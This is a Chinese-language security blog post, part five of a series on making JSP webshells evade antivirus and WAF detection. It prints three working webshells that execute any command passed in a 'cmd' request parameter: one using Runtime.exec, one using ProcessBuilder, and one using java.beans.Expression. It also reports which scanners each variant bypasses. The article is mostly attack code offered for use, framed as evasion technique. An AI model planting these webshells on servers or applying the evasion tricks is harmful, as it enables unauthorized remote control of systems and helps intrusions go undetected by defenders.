什么?你还不会webshell免杀?(五)
2022-9-16 17:30:59 Author: mp.weixin.qq.com(查看原文) 阅读量:9 收藏

原始webshell

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((r = bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<%
  String cmd = request.getParameter("cmd");
  Process process = new ProcessBuilder(new String[]{cmd}).start();
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

免杀效果

某狗:

某盾:

某马:

vt:

某度在线查杀:

可以看到这全部都免杀过了,就换了一个函数。

BeansExpression免杀

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  String cmd = request.getParameter("cmd");
  Expression expr = new Expression(Runtime.getRuntime(), "exec"new Object[]{cmd});

  Process process = (Process) expr.getValue();
  InputStream in = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
  String tmp = null;
  while((tmp = bufferedReader.readLine())!=null){
    response.getWriter().println(tmp);
  }
%>

查杀效果:

可以看到某狗已经查杀出来了。只能说效果很一般

总结

在此章节中主要讲解一下内置的一些函数来替换,从而消除一些特征,但这种方式还是非常非常容易被查杀的,后面会讲解jsp的一些特性,字节码,反射,包含等免杀方式

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

限时免费靶场实操,戳“阅读原文“

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652891087&idx=1&sn=13048d279ed457b9337a50784baab78d&chksm=bd599b028a2e12140f54121a20b1ed243d6963e6ae698b75b6fab868879fc1008d18990e0dbe#rd
如有侵权请联系:admin#unsafe.sh